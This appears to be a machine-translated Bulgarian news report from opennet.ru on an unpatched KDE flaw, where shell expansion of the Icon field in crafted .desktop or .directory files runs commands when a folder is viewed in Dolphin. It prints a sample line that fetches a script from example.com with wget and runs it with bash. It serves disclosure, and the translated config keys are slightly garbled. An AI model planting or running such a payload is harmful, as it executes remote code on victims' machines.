Уязвимост ΠΏΡ€ΠΈ изпълнСниС Π½Π° ΠΊΠΎΠ΄ Π½Π° KDE ΠΏΡ€ΠΈ ΠΏΡ€Π΅Π³Π»Π΅Π΄ Π½Π° списък с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅

Π’ KDE ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ΠΈ уязвимост, ΠΊΠΎΠ΅Ρ‚ΠΎ позволява Π½Π° атакуващия Π΄Π° изпълнява ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π» ΠΏΡ€Π΅Π³Π»Π΅ΠΆΠ΄Π° дирСктория ΠΈΠ»ΠΈ Π°Ρ€Ρ…ΠΈΠ², ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ спСциално ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€Π°Π½ΠΈ β€ž.desktopβ€œ ΠΈ β€ž.directoryβ€œ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅. Π•Π΄Π½Π° Π°Ρ‚Π°ΠΊΠ° изисква потрСбитСлят просто Π΄Π° Π²ΠΈΠ΄ΠΈ списък с Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ във файловия ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€ Π½Π° Dolphin, Π΄Π° ΠΈΠ·Ρ‚Π΅Π³Π»ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ Ρ„Π°ΠΉΠ» Π½Π° работния ΠΏΠ»ΠΎΡ‚ ΠΈΠ»ΠΈ Π΄Π° плъзнС пряк ΠΏΡŠΡ‚ Π²ΡŠΡ€Ρ…Ρƒ работния ΠΏΠ»ΠΎΡ‚ ΠΈΠ»ΠΈ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ сС проявява Π² Ρ‚Π΅ΠΊΡƒΡ‰Π°Ρ‚Π° вСрсия Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΡ‚Π΅ KDE Π Π°ΠΌΠΊΠΈ 5.60.0 ΠΈ ΠΏΠΎ-стари вСрсии, Π΄ΠΎ KDE 4. Уязвимостта Π΅ всС ΠΎΡ‰Π΅ остава Π½Π΅ΠΊΠΎΡ€ΠΈΠ³ΠΈΡ€Π°Π½ (CVE Π½Π΅ Π΅ присвоСн).

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½ ΠΎΡ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½Π° рСализация Π½Π° класа KDesktopFile, ΠΊΠΎΠΉΡ‚ΠΎ, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° β€žIconβ€œ, Π±Π΅Π· ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π°Π½Π΅, ΠΏΡ€Π΅Π΄Π°Π²Π° стойността Π½Π° функцията KConfigPrivate::expandString(), която ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° Ρ€Π°Π·ΡˆΠΈΡ€ΡΠ²Π°Π½Π΅ Π½Π° спСциални символи Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°Ρ‚Π°, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½ΠΈΠ·ΠΎΠ²Π΅Ρ‚Π΅ β€œ$(..)” ΠΊΠ°Ρ‚ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π·Π° изпълнСниС. ΠŸΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎ Π½Π° изискванията Π½Π° спСцификацията XDG, изпълнСниС Ρ€Π°Π·ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Ρ‡Π΅Ρ€ΡƒΠΏΠΊΠΎΠ²ΠΈΡ‚Π΅ конструкции сС ΠΏΡ€ΠΎΠΈΠ·Π²Π΅ΠΆΠ΄Π°Ρ‚ Π±Π΅Π· раздСлянС Π½Π° Ρ‚ΠΈΠΏΠ° настройки, Ρ‚.Π΅. Π½Π΅ само ΠΏΡ€ΠΈ опрСдСлянС Π½Π° командния Ρ€Π΅Π΄ Π½Π° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ, ΠΊΠΎΠ΅Ρ‚ΠΎ Ρ‰Π΅ сС стартира, Π½ΠΎ ΠΈ ΠΏΡ€ΠΈ ΡƒΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° ΠΈΠΊΠΎΠ½ΠΈΡ‚Π΅, ΠΏΠΎΠΊΠ°Π·Π²Π°Π½ΠΈ ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅.

НапримСр Π΄Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π° Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΎ ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈ Π½Π° потрСбитСля zip Π°Ρ€Ρ…ΠΈΠ² с дирСктория, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰Π° Ρ„Π°ΠΉΠ» β€ž.directoryβ€œ, ΠΊΠ°Ρ‚ΠΎ:

[Запис Π½Π° работния ΠΏΠ»ΠΎΡ‚] Π’ΠΈΠΏ=ДирСктория
Икона[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

ΠšΠΎΠ³Π°Ρ‚ΠΎ сС ΠΎΠΏΠΈΡ‚Π°Ρ‚Π΅ Π΄Π° ΠΏΡ€Π΅Π³Π»Π΅Π΄Π°Ρ‚Π΅ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Π°Ρ€Ρ…ΠΈΠ²Π° във файловия ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€ Π½Π° Dolphin, ΡΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ https://example.com/FILENAME.sh Ρ‰Π΅ бъдС ΠΈΠ·Ρ‚Π΅Π³Π»Π΅Π½ ΠΈ изпълнСн.


Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€